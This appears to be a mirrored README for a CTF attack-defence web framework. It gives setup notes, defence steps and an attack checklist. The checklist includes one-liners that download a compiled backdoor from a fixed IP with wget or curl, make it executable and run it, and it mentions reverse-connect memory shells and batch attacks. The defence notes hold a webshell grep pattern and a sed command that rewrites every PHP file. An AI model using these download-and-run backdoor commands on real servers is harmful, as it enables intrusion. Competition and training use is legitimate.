Code Monkey home page Code Monkey logo

web-awd-framework's Introduction

Introduction

This framework is used to help enjoy the AWD-web in CTF. Maybe in the future we can expand it into a common security test platform.

根目录

  • Beat.py 攻击脚本

修改内容

  • setting.py里面flag的格式
  • 交flag机的参数
  • contro.py里面交flag的函数
  • backdoor.c 里面回连IP
  • filecmp里面文件夹位置

防御

  • (找到代码位置)拖源代码
  • 自己给自己上一句话,用www-data的权限给自己回连内存马
  • 文件监控
  • 抓流量*
  • 流量分析
  • 交flag机调试成功

攻击

  • webshell扫描一波
  • 发现目标页面
  • 批量攻击
  • 上马
    • gcc -o check backdoor.c -lpthread -g
    • cd /tmp&&wget -O check 192.168.1.143/upload/check&&chmod +x check&&./check
    • cd /tmp;curl -o check 192.168.1.143/check;chmod +x check;./check
  • 垃圾流量

notice

  • www-data 无法直接反弹shell,不能执行python -c
  • 无法写日志:open_basedir限制,或/tmp权限不足(chmod 777 -R /tmp/log; chown www-data:www-data -R /tmp/log)

运维命令

源码备份

检查flag

  • find -name "*.txt" | xargs cat | grep -B 10 -E "\w{4}-\w{4}-\w{4}-\w{4}-\w{3}-\w{4}"

上WAF

  • find /var/www/html -name "*.php"|xargs sed -i "s#<?php#<?php\ninclude_once('/var/www/html/log.php');\n#g"

快速查一下shell

-find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('

循环杀PHP内存马

while true
do
rm .demo.php
done

web-awd-framework's People

Contributors

dahua966 avatar

Watchers

James Cloos avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.